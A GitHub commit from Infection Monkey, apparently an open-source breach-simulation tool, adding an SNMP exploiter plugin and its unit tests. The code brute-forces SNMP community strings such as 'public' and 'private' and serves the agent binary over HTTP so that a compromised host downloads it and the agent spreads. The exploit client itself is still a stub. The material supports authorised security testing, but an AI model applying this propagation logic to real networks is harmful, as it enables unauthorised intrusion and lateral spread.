Skip to content

Commit 9739ff0

Browse files
committed
Merge branch '3234-exploiter' into develop
Issue #3234 PR #3313
2 parents a745f42 + f7d673f commit 9739ff0

File tree

3 files changed

+313
-21
lines changed

3 files changed

+313
-21
lines changed

monkey/agent_plugins/exploiters/snmp/src/plugin.py

+8-21
Original file line numberDiff line numberDiff line change
@@ -16,25 +16,10 @@
1616
from infection_monkey.network import TCPPortSelector
1717
from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository
1818

19-
logger = logging.getLogger(__name__)
20-
21-
22-
class StubSNMPOptions:
23-
def __init__(self, *args, **kwargs):
24-
pass
25-
26-
27-
class StubSNMPExploiter:
28-
def __init__(self, *args, **kwargs):
29-
pass
19+
from .community_string_generator import generate_community_strings
20+
from .snmp_exploiter import SNMPExploiter, StubSNMPExploitClient, StubSNMPOptions
3021

31-
def exploit_host(self, *args, **kwargs):
32-
pass
33-
34-
35-
class StubSNMPExploitClient:
36-
def __init__(self, *args, **kwargs):
37-
pass
22+
logger = logging.getLogger(__name__)
3823

3924

4025
SNMP_PORTS = [161]
@@ -63,12 +48,14 @@ def __init__(
6348
agent_binary_repository=agent_binary_repository,
6449
tcp_port_selector=tcp_port_selector,
6550
)
66-
67-
self._snmp_exploiter = StubSNMPExploiter(
51+
get_community_strings = partial(
52+
generate_community_strings, propagation_credentials_repository
53+
)
54+
self._snmp_exploiter = SNMPExploiter(
6855
agent_id,
6956
exploit_client,
7057
agent_binary_server_factory,
71-
propagation_credentials_repository,
58+
get_community_strings,
7259
otp_provider,
7360
)
7461

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
from logging import getLogger
2+
from typing import Callable, Iterable, Sequence
3+
4+
from common.types import AgentID, Event
5+
from infection_monkey.exploit import IAgentOTPProvider
6+
from infection_monkey.exploit.tools import HTTPBytesServer
7+
from infection_monkey.i_puppet import ExploiterResultData, TargetHost
8+
from infection_monkey.utils.threading import interruptible_iter
9+
10+
from .snmp_command_builder import build_snmp_command
11+
12+
logger = getLogger(__name__)
13+
14+
AgentBinaryServerFactory = Callable[[TargetHost], HTTPBytesServer]
15+
CommunityStringGenerator = Callable[[], Iterable[str]]
16+
17+
18+
class StubSNMPOptions:
19+
def __init__(self, *args, **kwargs):
20+
pass
21+
22+
23+
class StubSNMPExploitClient:
24+
def __init__(self, *args, **kwargs):
25+
pass
26+
27+
def exploit_host(self, *args, **kwargs) -> ExploiterResultData:
28+
return ExploiterResultData()
29+
30+
31+
class SNMPExploiter:
32+
def __init__(
33+
self,
34+
agent_id: AgentID,
35+
exploit_client: StubSNMPExploitClient,
36+
agent_binary_server_factory: AgentBinaryServerFactory,
37+
generate_community_strings: CommunityStringGenerator,
38+
otp_provider: IAgentOTPProvider,
39+
):
40+
self._agent_id = agent_id
41+
self._exploit_client = exploit_client
42+
self._agent_binary_server_factory = agent_binary_server_factory
43+
self._generate_community_strings = generate_community_strings
44+
self._otp_provider = otp_provider
45+
46+
def exploit_host(
47+
self,
48+
host: TargetHost,
49+
servers: Sequence[str],
50+
current_depth: int,
51+
options: StubSNMPOptions,
52+
interrupt: Event,
53+
) -> ExploiterResultData:
54+
try:
55+
logger.debug("Starting the agent binary server")
56+
agent_binary_http_server = self._agent_binary_server_factory(host)
57+
except Exception as err:
58+
msg = (
59+
"An unexpected exception occurred while attempting to start the agent binary HTTP "
60+
f"server: {err}"
61+
)
62+
logger.exception(msg)
63+
return ExploiterResultData(
64+
exploitation_success=False, propagation_success=False, error_message=msg
65+
)
66+
67+
command = build_snmp_command(
68+
self._agent_id,
69+
host,
70+
servers,
71+
current_depth,
72+
agent_binary_http_server.download_url,
73+
self._otp_provider.get_otp(),
74+
)
75+
76+
try:
77+
return self._brute_force_exploit_host(
78+
host,
79+
options,
80+
command,
81+
agent_binary_http_server.bytes_downloaded,
82+
interrupt,
83+
)
84+
except Exception as err:
85+
msg = f"An unexpected exception occurred while exploiting host {host} with SNMP: {err}"
86+
logger.exception(msg)
87+
return ExploiterResultData(
88+
exploitation_success=False, propagation_success=False, error_message=msg
89+
)
90+
finally:
91+
_stop_agent_binary_http_server(agent_binary_http_server)
92+
93+
def _brute_force_exploit_host(
94+
self,
95+
host: TargetHost,
96+
options: StubSNMPOptions,
97+
command: str,
98+
agent_binary_downloaded: Event,
99+
interrupt: Event,
100+
) -> ExploiterResultData:
101+
exploit_result = ExploiterResultData(exploitation_success=False, propagation_success=False)
102+
103+
for community_string in interruptible_iter(self._generate_community_strings(), interrupt):
104+
(
105+
exploit_result.exploitation_success,
106+
exploit_result.propagation_success,
107+
) = self._exploit_client.exploit_host(
108+
host,
109+
options,
110+
community_string,
111+
command,
112+
agent_binary_downloaded,
113+
interrupt,
114+
)
115+
116+
if exploit_result.exploitation_success:
117+
break
118+
119+
return exploit_result
120+
121+
122+
def _stop_agent_binary_http_server(agent_binary_http_server: HTTPBytesServer):
123+
try:
124+
logger.debug("Stopping the agent binary server")
125+
agent_binary_http_server.stop()
126+
except Exception:
127+
logger.exception("An unexpected error occurred while stopping the HTTP server")
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
from ipaddress import IPv4Address
2+
from threading import Event
3+
from typing import Callable
4+
from unittest.mock import MagicMock
5+
6+
import pytest
7+
from agent_plugins.exploiters.snmp.src.snmp_exploiter import (
8+
CommunityStringGenerator,
9+
SNMPExploiter,
10+
StubSNMPExploitClient,
11+
StubSNMPOptions,
12+
)
13+
14+
from common import OperatingSystem
15+
from infection_monkey.exploit import IAgentOTPProvider
16+
from infection_monkey.exploit.tools import HTTPBytesServer
17+
from infection_monkey.i_puppet import ExploiterResultData, TargetHost
18+
from infection_monkey.utils.ids import get_agent_id
19+
20+
AGENT_ID = get_agent_id()
21+
TARGET_IP = IPv4Address("1.1.1.1")
22+
SERVERS = ["10.10.10.10"]
23+
DOWNLOAD_URL = "http://download.me"
24+
COMMUNITY_STRINGS = ["public", "private"]
25+
26+
27+
@pytest.fixture()
28+
def target_host() -> TargetHost:
29+
return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.LINUX)
30+
31+
32+
@pytest.fixture
33+
def mock_bytes_server() -> HTTPBytesServer:
34+
mock_bytes_server = MagicMock(spec=HTTPBytesServer)
35+
mock_bytes_server.download_url = DOWNLOAD_URL
36+
mock_bytes_server.bytes_downloaded = Event()
37+
mock_bytes_server.bytes_downloaded.set()
38+
return mock_bytes_server
39+
40+
41+
@pytest.fixture
42+
def mock_snmp_exploit_client() -> StubSNMPExploitClient:
43+
mock_snmp_exploit_client = MagicMock()
44+
mock_snmp_exploit_client.exploit_host.return_value = (False, False)
45+
return mock_snmp_exploit_client
46+
47+
48+
@pytest.fixture
49+
def mock_start_agent_binary_server(mock_bytes_server) -> HTTPBytesServer:
50+
return MagicMock(return_value=mock_bytes_server)
51+
52+
53+
@pytest.fixture
54+
def mock_otp_provider():
55+
mock_otp_provider = MagicMock(spec=IAgentOTPProvider)
56+
mock_otp_provider.get_otp.return_value = "123456"
57+
return mock_otp_provider
58+
59+
60+
@pytest.fixture
61+
def mock_community_string_generator():
62+
return MagicMock(return_value=COMMUNITY_STRINGS)
63+
64+
65+
@pytest.fixture
66+
def snmp_exploiter(
67+
mock_snmp_exploit_client: StubSNMPExploitClient,
68+
mock_start_agent_binary_server: Callable[[TargetHost], HTTPBytesServer],
69+
mock_community_string_generator: CommunityStringGenerator,
70+
mock_otp_provider: IAgentOTPProvider,
71+
) -> SNMPExploiter:
72+
return SNMPExploiter(
73+
AGENT_ID,
74+
mock_snmp_exploit_client,
75+
mock_start_agent_binary_server,
76+
mock_community_string_generator,
77+
mock_otp_provider,
78+
)
79+
80+
81+
@pytest.fixture
82+
def exploit_host(
83+
snmp_exploiter: SNMPExploiter, target_host: TargetHost
84+
) -> Callable[[], ExploiterResultData]:
85+
def _inner() -> ExploiterResultData:
86+
return snmp_exploiter.exploit_host(
87+
host=target_host,
88+
servers=SERVERS,
89+
current_depth=1,
90+
options=StubSNMPOptions(),
91+
interrupt=Event(),
92+
)
93+
94+
return _inner
95+
96+
97+
def test_exploit_host__succeeds(exploit_host, mock_snmp_exploit_client, mock_bytes_server):
98+
mock_snmp_exploit_client.exploit_host.return_value = (True, True)
99+
result = exploit_host()
100+
101+
assert mock_bytes_server.stop.called
102+
assert result.exploitation_success
103+
assert result.propagation_success
104+
105+
106+
def test_exploit_host__fails_if_server_fails_to_start(
107+
exploit_host, mock_start_agent_binary_server, mock_bytes_server
108+
):
109+
mock_start_agent_binary_server.side_effect = Exception()
110+
result = exploit_host()
111+
112+
assert not mock_bytes_server.stop.called
113+
assert not result.exploitation_success
114+
assert not result.propagation_success
115+
116+
117+
def test_exploit_host__success_returned_on_server_stop_fail(
118+
exploit_host, mock_snmp_exploit_client, mock_bytes_server
119+
):
120+
mock_snmp_exploit_client.exploit_host.return_value = (True, True)
121+
mock_bytes_server.stop.side_effect = Exception()
122+
123+
result = exploit_host()
124+
125+
assert mock_bytes_server.stop.called
126+
assert result.exploitation_success
127+
assert result.propagation_success
128+
129+
130+
def test_exploit_host__fails_on_snmp_exception(
131+
mock_snmp_exploit_client, exploit_host, mock_bytes_server
132+
):
133+
mock_snmp_exploit_client.exploit_host.side_effect = Exception()
134+
result = exploit_host()
135+
136+
assert mock_bytes_server.stop.called
137+
assert not result.exploitation_success
138+
assert not result.propagation_success
139+
140+
141+
def test_exploit_attempt_on_all_community_strings(
142+
snmp_exploiter: SNMPExploiter,
143+
mock_snmp_exploit_client: StubSNMPExploitClient,
144+
target_host: TargetHost,
145+
):
146+
snmp_exploiter.exploit_host(
147+
host=target_host,
148+
servers=SERVERS,
149+
current_depth=1,
150+
options=StubSNMPOptions(),
151+
interrupt=Event(),
152+
)
153+
154+
community_strings_passed_to_exploit = [
155+
args[0][2] for args in mock_snmp_exploit_client.exploit_host.call_args_list
156+
]
157+
158+
assert len(community_strings_passed_to_exploit) == len(COMMUNITY_STRINGS)
159+
for community_string in COMMUNITY_STRINGS:
160+
assert community_string in community_strings_passed_to_exploit
161+
162+
163+
def test_exploit_attempt_skipped_on_interrupt(
164+
snmp_exploiter: SNMPExploiter,
165+
mock_snmp_exploit_client: StubSNMPExploitClient,
166+
target_host: TargetHost,
167+
):
168+
interrupt = Event()
169+
interrupt.set()
170+
snmp_exploiter.exploit_host(
171+
host=target_host,
172+
servers=SERVERS,
173+
current_depth=1,
174+
options=StubSNMPOptions(),
175+
interrupt=interrupt,
176+
)
177+
178+
assert mock_snmp_exploit_client.exploit_host.call_count == 0

0 commit comments

Comments
 (0)